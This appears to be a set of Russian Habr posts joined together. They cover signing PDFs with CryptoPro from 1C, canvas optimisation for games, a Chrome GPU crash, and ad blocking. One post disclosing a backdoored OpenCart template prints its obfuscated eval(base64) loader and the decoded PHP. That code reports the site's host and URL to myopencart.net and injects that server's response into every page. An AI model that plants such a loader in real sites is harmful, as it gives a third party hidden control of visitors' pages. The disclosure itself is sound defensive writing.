Два слова, что вообще собой представляет ЭЦП. Для подписания и работы с файлами используется два ключа: закрытый и открытый. Закрытый ключ хранится у Вас на токене и используется для подписания или шифрования документов. Открытый ключ должен быть распространен всем пользователям, которые должны работать с подписанным Вами документом. Обычно это происходит автоматически при подписании файла. Далее, есть файл, который нам нужно подписать. С помощью специального ПО из содержания файла и Вашего закрытого ключа создается уникальная символьная последовательность, что-то вроде контрольной суммы. Эта последовательность и есть электронно-цифровая подпись. ЭЦП всегда уникальна для данного пользователя и данного документа. Подпись содержит информацию о дате подписания документа, подписанте, контрольную сумму для подписанного документа и ссылку или сам файл открытого ключа. Подпись может быть добавлена в подписываемый файл или сохранена в виде отдельного файла. Нас, конечно, интересует первый вариант.
Как всегда, решение задачи начал с изучения того, что уже есть. Нашлось несколько модулей криптографии и ЭЦП для 1С. Но они не подошли. Как правило, они умеют подписывать или XML-файлы, или сохранять подпись и открытый ключ в отдельный файл. А нам нужно было получить на выходе подписанный PDF-документ, который можно будет просто и удобно просмотреть с помощью того же Adobe Acrobat Reader.
Вторым решением было поискать, так называемые, PDF-принтеры – программы, которые умеют сохранять любой документ в виде PDF-файла. Самым подходящим решением оказался BullZip PDF Printer (http://www.bullzip.com/products/pdf/download.php), который в платной версии имеет функцию подписания создаваемых документов. Решение, в принципе, подошло, но появились серьезные бюрократические проблемы с покупкой, согласованием и установкой нового софта на территории предприятия. Пока решение проходило согласование, я обратил внимание на комплект программ КРИПТО-ПРО, который, как правило, поставляется и работает вместе с ключом ЭЦП.
#### Решение первое, полу-ручное
Подавляющее большинство ключей ЭЦП выпускаются в виде eToken или Rutoken USB-модулей. В моем случае был eToken. Кто не знает, основное отличие состоит в том, что eToken имеет встроенный аппаратный криптографический сопроцессор. Это значит, что при шифровании данных закрытый ключ не покидает токена. В нашем случае эта разница значения не имеет.
Не буду рассматривать установку драйверов USB-ключей. Они, как правило, поставляются выпускающим удостоверяющим центром вместе с самими токенами и установка проблем не вызывает. Еще с токенами обычно поставляется лицензия на КРИПТО-ПРО и утилита КриптоПро CSP. Я использовал последнюю доступную на данный момент версию 3.9.
Дальше все просто. Запускаем КриптоПро CSP. Закладка Сервис, кнопка Посмотреть сертификаты в контейнере, нажимаем Обзор для выбора токена с криптохранилищем, и выбираем нужно нам хранилице. Обычно на одном токене одно хранилище.

Нажимаем Далее и получаем окошко с информацией по сертификату, к которому привязан ключ. Ждем кнопку Установить и устанавливаем сертификат в хранилище Личное для локального пользователя. Обычно, вместе с утилитой КриптоПро CSP в меню Пуск устанавливается ярлык для оснастки Сертификаты. Запускаем оснастку, убеждаемся, что все правильно сделано и сертификат действительно установился в раздел Личное для текущего пользователя.

Дальше, Кликаем правой кнопкой по установленному сертификату, Все задачи, Экспорт. Обязательно отказываемся экспортировать закрытый ключ и сохраняем сертификат куда-нибудь на локальный компьютер, например, на рабочий стол, в формате файла X.509 (.CER) в кодировке DER. Сохраненный сертификат нам понадобиться дальше для выполнения подписи.
Последнее, что нам осталось, это скачать с сайта [www.cryptopro.ru/downloads](http://www.cryptopro.ru/downloads) утилиту КриптоПро PDF, с помощью которой и будем выполнять подпись PDF-файлов.
Работа утилиты крайне проста. Выбираем папку в которой находятся PDF-файлы, выбираем папку в которую будут сохранены файлы с подписью (если это одна и так же папка, в дополнительных настройках нужно установить флажок «Перезаписывать файлы с одинаковыми именами») выбираем из контейнера сертификат, который будем использовать для подписи, вводим пин от ключа и, если все указали правильно, через несколько секунд в папке-приемнике появятся подписанные PDF-файлы. Для того, чтоб ЭЦП признавалась юридически, по закону, должна быть установлена еще метка времени, но мне для задачи это не требовалось.
В принципе, все! Если у Вас небольшая организация и пара десятков контрагентов то можно вообще ничего больше не делать и оставить все в ручном режиме. Кроме того, 1С нам пока вообще не была нужна, документы в формате PDF можно создать многими способами, в том числе и из Microsoft Office.
Долго не мог разобраться, почему подпись не проходит и выдает ошибку. Оказалось, что успешной работы утилиты КриптоПро PDF на компьютере должна быть установлен Adobe Acrobat Pro (не Reader, **это важно!**). Именно с его помощью утилита модифицирует PDF-файлы и добавляет и них подпись.
Пример подписанного файла на картинке. Выглядит как обычный PDF, только на закладке Подписи появились данные о подписанте. Из важного, указано кто подписал документы (обычно это ФИО и название организации) и что с момента подписания документ не изменялся. Информацию о том, что сертификат ненадежный можно игнорировать. Это говорит только о том, что компания Adobe и ее продукт Acrobat Reader ничего не знают о Вашем сертификате.

#### Решение второе, автоматическое
Как писал выше, в моем случае ручное решение не подошло. Контрагентов много, для каждого за месяц создается несколько десятков документов. Их все нужно сохранить в PDF, подписать, отправить одним письмом. Для решения задачи придумали модифицировать и использовать стандартную для многих конфигураций обработку «Групповая обработка справочников и документов». Для самых популярных конфигураций эта обработка или входит в саму конфигурацию или ее можно найти как внешнюю на диске с ИТС.
Обработка уже умеет печатать отобранные документы. В последних версиях платформы появился штатный механизм сохранения печатных форм в виде PDF файлов. Осталось совместить эти два механизма и сохранять выбранные пользователем документы в папку на локальном компьютере, а затем запускать командную строку и запускать утилиту КриптоПро PDF для выполнения подписи.
Немного доработали интерфейсную часть. Убрали из обработки работу со справочниками. Оставили в интерфейсе 4 вида документов, которые нужно отправлять. Изменили систему отборов. Создали новый регистр сведений Настройки ЭЦП. В него для каждого пользователя сохраняется информация о том, по какому пути лежит КриптоПро PDF на локальном компьютере, папки для временного хранения файлов, сертификат, которым будет выполнена подпись. Еще просили сохранять пин от ключа, но мы не стали этого делать из соображений безопасности.
Чтоб автоматизация была уж совсем полной, пришлось в 1С оживить модуль электронной почты. Дальше все просто. Раз в месяц оператор выбирает список контрагентов и виды документов, которые должны быть отправлены, проверяет результат отбора, нажимает кнопку Выполнить, вводит пин-код от ключа и ждет… В моем случае формирование пакета документов может длится несколько часов.
Обработка группирует отобранные документы по контрагентам, дальше циклом проходится по каждому контрагенту, выбирает все его документы, сохраняет в виде PDF-файлов на диск, запускает утилиту КриптоПро PDF из командной строки, подписывает сохраненные документы, создает документ Электронное письмо с контактными данными из справочника контрагентов, в качестве вложения прикрепляет подписанные документы из папки на диске, переводит письмо в статус для отправки и переходит к следующему контрагенту. Письма отправляются регламентным заданием раз в 10 минут. Обработку можно оставлять на ночь. Возникшие проблему будут корректно обработаны, а утром пользователь увидит журнал шибок и журнал отправленных писем.
Для удобства приведу кусочек кода, который выполняет саму процедуру подписания. Все параметры берутся из созданного регистра сведений.
```
МассивВходящих = НайтиФайлы(КаталогВходящие, "*.pdf", Ложь);
КоличествоФайловВходящие = МассивВходящих.Количество();
Сообщить("Обнаружено " + КоличествоФайловВходящие + " файлов для подписи.");
КоманднаяСтрока = ИмяФайлаКриптоПро + " sign" +
" --in-dir=""" + КаталогВходящие + """" +
" --out-dir=""" + КаталогИсходящие + """" +
" --report-dir=""" + КаталогЛоги + """" +
" --err-dir=""" + КаталогОшибки + """" +
" --certificate=""" + ИмяФайлаСертификата + """" +
" --pin=""" + ПинКод + """" +
" --overwrite-files";
ЗапуститьПриложение(КоманднаяСтрока, "", истина);
МассивИсходящих = НайтиФайлы(КаталогИсходящие, "*.pdf", Ложь);
КоличествоФайловИсходящие = МассивИсходящих.Количество();
Сообщить("Подписано " + КоличествоФайловИсходящие + " файлов.");
``` | https://habr.com/ru/post/253681/ | null | ru | null |
# История одного шаблона или бэкдор от myopencart.net
#### Предисловие
Однажды попросил меня друг посмотреть почему у него не получается установить шаблон на CMS **Opencart**.
Присылает ссылку на сайт, доступы к административной части и хостингу. Захожу, вижу шаблон в директории с темами (*/catalog/view/theme/*). Немного разобравшись в структуре системы, понимаю, что инструмента для загрузки шаблонов нет, как например, в WordPress. Добавление новой темы происходит загрузкой нужных файлов в определенные папки. А CMS «узнает» о доступных шаблонах сканированием папки с темами.
Так вот, решение проблемы было банальным, шаблон был просто неправильно загружен. В данном случае, его надо было загружать от корня сайта.
#### Развязка
На этом бы и закончилась история, но в архиве были «лишние» файлы и заменяющие существующие, не связанные с шаблоном. И мне стало интересно, чего же там не хватает, что требуется их заменить.
Добавлялось несколько скриптов в контроллеры, файлы локализации и заменялся */system/library/response.php*.
Самым интересным оказался именно последний файл, где я обнаружил вот такие строки:
**base64**
```
$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
```
В оригинальном файле, конечно, этого не было.
После декодирования это, естественно, оказался **бэкдор**:
**function get\_page**
```
function get_page($url){
$agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL,$url );
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch,CURLOPT_VERBOSE,false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$page=curl_exec($ch);
$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
switch($httpcode){
case '200':
return $page;
break;
case '404';
return false;
break;
}
}
if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("", "", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}
```
Этот код не только заменяет ссылки конкурентов и официального сайта, но и позволяет управлять содержимым страницы.
С вышеуказанного сервера возвращается ответ:
```
```
Но, что мешает вернуть ~~php-код~~ JS.
Такие дела.
#### Заключение
Для проверки и подтверждения своих опасений я пошел на официальный сайт [opencart.com](http://opencart.com) в раздел «Партнеры». Где указан оф. сайт РФ [opencart.ru](http://www.opencart.ru), собственно это и подтвердило, что myopencart.net является фишинговым сайтом.
**Будьте бдительны и проверяйте, что устанавливаете!**
**UPD**По поводу PHP-кода выяснили, что выполнить его на атакуемом сервере не получится. | https://habr.com/ru/post/193910/ | null | ru | null |
# Как раскрыть мощь HTML5 Canvas для игр

Браузеры, поддерживающие HTML5, и платформа HTML5 для Windows 8 Metro сегодня становятся серьезными кандидатами для разработки современных игр.
Благодаря canvas, у вас есть доступ к аппаратно-ускоренной поверхности, на которой вы можете отображать контент вашей игры и с помощью некоторых трюков и ухищрений вы сможете достигнуть великолепной производительности рендеринга до 60 кадров в секунду. Подобная непрерывность действительно важна в играх, так как чем плавнее игра (анимация), тем лучше чувствует себя игрок.
Цель данной статьи — дать вам несколько подсказок, как выжать максимум мощности из HTML5 Canvas. Статья состоит из двух основных частей [вы читаете первую]. [David Rousset](http://blogs.msdn.com/davrous) скоро опубликует вторую часть.
В статье я буду показывать ключевые идеи на одном и том же примере — это эффект 2D-туннеля, который я написал для [Coding4Fun](http://video.fr.msn.com/watch/video/techdays-2012-session-technique-coding4fun/zqy7cm8l)-сессии на TechDays 2012 во Франции.
На написание данного эффекта меня вдохновил мой код для Commodore AMIGA, который я написал, когда был молодым автором демосцен в далеких 80х :). Сегодня он использует только **canvas** и **Javascript**, хотя изначальный код базировался только на 68000 ассемблере:
[](http://jsfiddle.net/nxjSR/1/)
[Пример на JSFiddle](http://jsfiddle.net/nxjSR/1/) (учтите, что текстура зашита в код).
Полный код доступен для скачивания тут: <http://www.catuhe.com/msdn/canvas/tunnel.zip> ([копия на Я.Народ](http://narod.ru/disk/45280929001.6a6038cf0bc275d991420fc17590ca48/tunnel.zip.html)).
Целью данной статьи является объяснить, не как запрограммирован туннель, а как вы можете взять имеющийся код и оптимизировать его, чтобы добиться лучшей производительности в реальном времени.
Использование скрытого canvas для чтения данных изображения
-----------------------------------------------------------
Первая вещь, о которой я хочу поговорить, это то, как вы можете использовать canvas для оптимизации чтения данных изображения. Действительно, практически в каждой игре вам нужна графика для спрайтов или фоновых изображений. В canvas есть очень удобный метод для отрисовки изображений: *drawImage*. Эта функция может использоваться для вывода спрайта в canvas-элемент, так как вы можете указать области источника и назначения для отрисовки.
Но иногда этого не достаточно. Например, когда вы хотите применить какие-то эффекты к исходному изображению. Или когда исходное изображение не просто картинка, а более сложный ресурс для вашей игры (к примеру, карта, из которой вам нужно считывать данные).
В таких случаях вам необходим доступ к внутренним данным изображения. Но *image*-тег не предоставляет способа для считывания содержимого. Вот тут-то на помощь и приходит canvas!
В сущности, каждый раз, когда вам нужно считать содержимое изображения, вы можете использовать невидимый (не выводимый на экран) canvas. Ключевая идея заключается в том, чтобы загрузить изображение, и, когда оно загружено, вам остается только отобразить его на canvas-элемент, не вставленный в DOM. Теперь у вас есть доступ к [скопированным] пикселям исходного изображения через соответствующие пиксели canvas (что очень просто).
Код для этой техники выглядит следующим образом (используется в эффекте 2D-туннеля для чтения текстуры туннеля):
```
var loadTexture = function (name, then) {
var texture = new Image();
var textureData;
var textureWidth;
var textureHeight;
var result = {};
// on load
texture.addEventListener('load', function () {
var textureCanvas = document.createElement('canvas'); // off-screen canvas
// Setting the canvas to right size
textureCanvas.width = this.width; // <-- "this" is the image
textureCanvas.height = this.height;
result.width = this.width;
result.height = this.height;
var textureContext = textureCanvas.getContext('2d');
textureContext.drawImage(this, 0, 0);
result.data = textureContext.getImageData(0, 0, this.width, this.height).data;
then();
}, false);
// Loading
texture.src = name;
return result;
};
```
При использовании этого кода имейте в виду, что загрузка текстуры происходит асинхронно, поэтому вам необходимо через параметр *then* передать функцию для продолжения работы вашего кода:
```
// Texture
var texture = loadTexture("soft.png", function () {
// Launching the render
QueueNewFrame();
});
```
Использование возможности аппаратного масштабирования
-----------------------------------------------------
Современные браузеры и Windows 8 поддерживают **аппаратное ускорение** canvas. Это, в частности, означает, что вы можете использовать **GPU** для масштабирования контента в canvas.
В случае с эффектом 2D-туннеля алгоритм требует обработки каждого пикселя canvas. К примеру, для canvas размером 1024x768 необходимо обработать 786432 пикселей. Чтобы обеспечить непрерывность отображения, это нужно делать 60 раз в секунду, что соответствует обработке **47185920** пикселей в секунду!
Очевидно, что любое решение, которое помогает вам **уменьшить** количество пикселей, приведет к заметному **улучшению** производительности.
Повторю, canvas предоставляет такое средство! Следующий код показывает, как использовать аппаратное ускорение для масштабирования внутреннего буффера canvas до внешнего размера DOM-объекта::
```
// Setting hardware scaling
canvas.width = 300;
canvas.style.width = window.innerWidth + 'px';
canvas.height = 200;
canvas.style.height = window.innerHeight + 'px';
```
Обратите внимание на разницу между размером DOM-объекта (*canvas.style.width* и *canvas.style.height*) и размером рабочего буффера canvas (*canvas.width* и *canvas.height*).
При наличии разницы между этими двумя размерами используются возможности железа для масштабирования рабочего буффера — в нашем случае это просто великолепная функция: мы можем работать в меньшем разрешении и позволить GPU смасштабировать результат, чтобы заполнить DOM-объект (с использованием прекрасного бесплатного фильтра размытия для сглаживания результата).
В данном примере рендеринг производится в области 300x200, а GPU масштабирует до размеров вашего окна.
Эта возможность широко поддерживается всеми современными браузерами, поэтому вы можете рассчитывать на нее.
Оптимизация цикла отрисовки
---------------------------
Когда вы разрабатываете игру, у вас, наверняка, должен быть цикл рендеринга, в котором вы отрисовываете все компоненты игры (фон, спрайты, очки и т.д.). Этот цикл — узкое горлышко в вашем коде и должен быть максимально оптимизирован, чтобы быть уверенным, что ваша игра работает быстро и плавно.
### RequestAnimationFrame
Одна из интересных возможностей, пришедших с HTML5, это функция *window.requestAnimationFrame*. Вместо использования *window.setInterval* для создания таймера, вызывающего ваш цикл отрисовки каждые (1000/16) миллисекунд (чтобы достичь заветных 60fps), вы можете делегировать эту ответственность на браузер с помощью *requestAnimationFrame*. Вызов данного метода говорит, что вы хотите, чтобы браузер вызвал ваш код сразу же, как только будет возможно обновить графическое представление.
Браузер включит ваш запрос внутрь своего расписания отрисовки и синхронизирует вас со своим кодом отрисовки и анимации (CSS, переходы, и т.д.). Это решение также интересно в связи с тем, что ваш код не будет вызываться, когда окно не видно (свернуто, полностью перекрыто и т.д.).
Это может помочь с производительностью, так как браузер может оптимизировать параллельную отрисовку (например, если ваш цикл рендерига слишком медленный) и при этом выдавать плавные анимации.
Код довольно очевиден (обратите внимание на использование браузерных префиксов):
```
var intervalID = -1;
var QueueNewFrame = function () {
if (window.requestAnimationFrame)
window.requestAnimationFrame(renderingLoop);
else if (window.msRequestAnimationFrame)
window.msRequestAnimationFrame(renderingLoop);
else if (window.webkitRequestAnimationFrame)
window.webkitRequestAnimationFrame(renderingLoop);
else if (window.mozRequestAnimationFrame)
window.mozRequestAnimationFrame(renderingLoop);
else if (window.oRequestAnimationFrame)
window.oRequestAnimationFrame(renderingLoop);
else {
QueueNewFrame = function () {
};
intervalID = window.setInterval(renderingLoop, 16.7);
}
};
```
Для использования этой функции вам достаточно вызвать ее в конце вашего цикла отрисовки, чтобы подписаться на следующий кадр:
```
var renderingLoop = function () {
...
QueueNewFrame();
};
```
### Доступ к DOM (Document Object Model)
Чтобы оптимизировать свой цикл отрисовки, вам следует использовать как минимум одно золотое правило: НЕ ОБРАЩАЙТЕСЬ К DOM. Хотя современные браузеры специально оптимизированы в этом месте, чтение свойств DOM-объектов по-прежнему слишком медленное для быстрого цикла отрисовки.
Например, в моем коде я использовал профилировщик Internet Explorer 10 (**доступный в инструментах разработчика по F12**) и результаты очевидны:
[](http://img-fotki.yandex.ru/get/5508/25193168.11/0_56870_9d880021_XXL.jpg)
Как вы можете видеть, доступ к ширине и высоте canvas занимает очень много времени в цикле отрисовки!
Изначальный код выглядел так:
```
var renderingLoop = function () {
for (var y = -canvas.height / 2; y < canvas.height / 2; y++) {
for (var x = -canvas.width / 2; x < canvas.width / 2; x++) {
...
}
}
};
```
Вы можете заменить свойства canvas.width и canvas.height двумя переменными с заранее заведенными правильными значениями:
```
var renderingLoop = function () {
var index = 0;
for (var y = -**canvasHeight** / 2; y < **canvasHeight** / 2; y++) {
for (var x = -**canvasWidth** / 2; x < **canvasWidth** / 2; x++) {
...
}
}
};
```
Просто, не правда ли? Возможно, что не очень просто понять, но, поверьте мне, это стоит попробовать!
### Предварительные вычисления
Согласно профилировщику, функция *Math.atan2* несколько медленная. На самом деле, эта операция не зашита внутрь CPU, так что среда выполнения JavaScript должна проделать некоторые операции, чтобы вычислить результат.
*[пер.: Хотя, с технической точки, зрения можно предположить, что конкретная реализация JS-runtime может опираться на аппаратную инструкцию fpatan, этого априорно никто не гарантирует. Спецификация ECMAScript5 относительно математических функций говорит о том, что они (очевидно) являются аппроксимациями и рекомендует использовать алгоритмы математической библиотеки Sun Microsystems (http://www.netlib.org/fdlibm). В любом случае, какой бы ни была реализация функции atan2, это не делает ее [элементарной](http://www.netlib.org/fdlibm/e_atan2.c) и быстрой.]*
[](http://img-fotki.yandex.ru/get/6204/25193168.11/0_5686e_adc8616b_L.jpg)
В целом, если вы можете организовать предварительный расчет для некоторого долго работающего кода, это всегда хорошая идея. Здесь прежде, чем запустить мой цикл отрисовки, я рассчитываю значения для *Math.atan2*:
```
// precompute arctangent
var atans = [];
var index = 0;
for (var y = -canvasHeight / 2; y < canvasHeight / 2; y++) {
for (var x = -canvasWidth / 2; x < canvasWidth / 2; x++) {
atans[index++] = Math.atan2(y, x) / Math.PI;
}
}
```
Массив *atans* далее может использовать внутри цикла отрисовки для явного повышения производительности.
### Избегайте использования Math.round, Math.floor и parseInt
Пункт на счет использования *parseInt* имеет смысл в нашем случае:
[](http://img-fotki.yandex.ru/get/6105/25193168.12/0_56871_1726d9fe_XXL.jpg)
Когда вы работаете с canvas, для указания на пиксели необходимо использовать целочисленные координаты (x и y). Однако все ваши вычисления производятся с использованием чисел с плавающей точкой и рано или поздно вам нужно будет конвертировать их в целые числа.
JavaScript предоставляет функции *Math.round*, *Math.floor* или даже *parseInt* для конвертации чисел в целые. Но эти функции делают некоторую дополнительную работу (в частности проверяют диапазоны или проверяют, что значения действительно являются числам; parseInt вообще первым делом конвертирует свой параметр в строку!). Таким образом, внутри моего цикла отрисовки мне нужен более быстрый способ для конвертации чисел.
Вспоминая мой старый код на ассемблере, я решил применить небольшой трюк: вместо использования *parseInt* достаточно просто сдвинуть число вправо на 0. Среда выполнения переместит число с плавающей точкой из соответствующего регистра в целочисленный и применить аппаратное преобразование. Сдвиг числа вправо на 0 оставит число без изменений и вернет вам назад целочисленное значение.
Исходный код был таким:
```
u = parseInt((u < 0) ? texture.width + (u % texture.width) : (u >= texture.width) ? u % texture.width : u);
```
Новый код выглядит так:
```
u = ((u < 0) ? texture.width + (u % texture.width) : (u >= texture.width) ? u % texture.width : u) >> 0;
```
Конечно, это решение требует, чтобы вы были наверняка уверены в корректности передаваемого числа :)
### Финальный результат
Применение всех описанных оптимизаций приводит к следующему отчету:
[](http://img-fotki.yandex.ru/get/6204/25193168.12/0_56872_e8fc7b4e_XL.jpg)
Как видите, теперь код выглядит хорошо оптимизированным с использованием только ключевых функций.
Мы начали с такого оригинального неоптимизированного туннеля:
[](http://jsfiddle.net/xCs6e/1/)
[Пример на JSFiddle](http://jsfiddle.net/xCs6e/1/)
И пришли к такому результату после оптимизации:
[](http://jsfiddle.net/nxjSR/1/)
[Пример на JSFiddle](http://jsfiddle.net/nxjSR/1/)
*[пер.: данные скриншоты сделаны на комьютере переводчика, на котором fps не достигает заветных 60fps, но крутится довольно близко к этому — около 50fps в IE10.]*
Мы можем оценить вклад каждой оптимизации следущей диаграммой, показывающей частоту кадров на моем компьютере:

Двигаясь дальше
---------------
Помня об этих ключевых моментах, теперь вы готовы к разработке быстрых и плавных игр для современных браузеров и Windows 8! | https://habr.com/ru/post/141482/ | null | ru | null |
# Баг с GPU и Canvas в Google Chrome под Windows
На днях работал над необычной и от того интересной задачей. Выяснилось, что у наших менеджеров на определенной странице постоянно возникает сообщение “Опаньки” в Google Chrome. Скажу сразу, страница эта весьма насыщенная, и содержит в себе достаточно тяжеловесные компоненты как фотогалерея, карта и панорама. У меня никак не получалось воспроизвести данный баг, и я собираюсь рассказать о том что было сделано для того, чтобы найти и обезвредить его.
Первым делом мы выяснили в какой последовательности нужно было действовать, чтобы получить то самое “Опаньки”. А для этого нужно было зайти на нашу страницу, и затем обновить ее (либо вернуться на нее позже). Все, открытый таб Chrome под Windows моментально умирал.
Я сделал небольшой изолированный пример в [JSFiddle](http://jsfiddle.net/7jm16rq7/). Откройте данную ссылку, и после того, как увидите изображение панорамы, обновите страницу. Напоминаю, у вас должен быть Windows и Google Chrome (46.0.2490.86).
Далее стало ясно, что проблема проявляется исключительно под Windows. Я работаю на Mac, но имею [виртуалки IE на все случаи жизни](http://blog.makushev.com/2015/05/25/ie-mac-testing/). Но даже на виртуалке данная проблема не проявлялась вовсе. Это, кстати, очень хороший пример того, что виртуалка не всегда может полноценно заменить реальную машину с реальным железом.
Я начал гуглить, чтобы понять сталкивался ли кто-либо с такой проблемой. Но в итоге нагуглил о том, как в Google Chrome включить режим логгирования, чтобы лучше понимать, что же конкретно происходит, когда он показывает нам “Опаньку”. Как это сделать?
Нужно запустить Google Chrome с флагом:
```
--enable-logging --v=1
```
И затем, после падения браузера, найти в [домашней директории](http://dev.chromium.org/user-experience/user-data-directory) лог *chrome\_debug.log*
Провернули это все на машине с Windows и стали исследовать лог:
```
[7924:5320:1202/135210:VERBOSE1:policy_loader_win.cc(441)] Reading policy from the registry is enabled.
[7924:5320:1202/135210:VERBOSE1:pref_proxy_config_tracker_impl.cc(216)] 03885C38: set chrome proxy config service to 00A097F8
[7924:5320:1202/135210:VERBOSE1:pref_proxy_config_tracker_impl.cc(354)] 03885C38: Done pushing proxy to UpdateProxyConfig
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Google 'Pilot' log
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Google 'Aviator' log
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: DigiCert Log Server
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Google 'Rocketeer' log
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Certly.IO log
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Izenpe log
[7924:6044:1202/135210:VERBOSE1:multi_log_ct_verifier.cc(67)] Adding CT log: Symantec log
[7924:6044:1202/135210:ERROR:cache_util_win.cc(20)] Unable to move the cache: 5
[7924:6044:1202/135210:ERROR:cache_util.cc(132)] Unable to move cache folder C:\Users\User32\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache to C:\Users\User32\AppData\Local\Google\Chrome\User Data\ShaderCache\old_GPUCache_000
[7924:6044:1202/135210:ERROR:cache_creator.cc(132)] Unable to create cache
[7924:6044:1202/135210:ERROR:shader_disk_cache.cc(588)] Shader Cache Creation failed: -2
```
Мое внимание привлекли, конечно же, последние 4 строчки. Видно, что по каким-то неведомым причинам браузер не смог скопировать директорию GPUCache. Не могу сказать, что точно знаю, как Chrome работает с GPU и с его кешем, но что-то последнее время сочетание Windows и GPU начало набивать оскомину.
Дальше попеременным отключением карты и панорамы удалось установить, что причина была именно в Street View. Создал по этому поводу [Issue](https://code.google.com/p/chromium/issues/detail?id=564613) в Chromium.
### Вместо итога
Как видно из созданного мною [тикета](https://code.google.com/p/chromium/issues/detail?id=564613), проблема была исправлена в стабильной версии 47, до которой Chrome уже обновился. Но так или иначе я решил-таки написать этот пост, который вполне может быть полезным для разработчиков хотя бы с точки зрения подхода к решению проблемы. Я соглашусь с теми, кто скажет, что решить проблему попеременным отключением компонентов можно было. В общем-то так и произошло, но выяснить является ли проблема ошибкой программиста или это баг определенной экосистемы — тоже немаловажно с точки зрения дальнейшей поддержки этого же компонента. | https://habr.com/ru/post/272239/ | null | ru | null |
# Антирекламный щит рядового пользователя: Яндекс без дзена, YouTube без рекламы, Хабр без баннера
Контроль над содержимым web должен принадлежать в т.ч. рядовому пользователю, а не только маркетологам. Web-пользователь сам в состоянии определять, что для него является пагубной рекламой, а что полезным контентом. Если пользователь считает, что новости или дзен Яндекса - это своего рода реклама, то он может ограничить себя от „вредоносного для него контента“ совершенно законно в „касание“ и без красноглазия. Решение — под катом.
В 20 веке в противопоставление массового засилья рекламы на телевидении, разработчики телевизионной аппаратуры придумали кнопку на пульте ДУ - "mute". Дедушки и бабушки положительно оценили антирекламный прогресс, взяв на вооружение этот эффект оглушающей тишины.
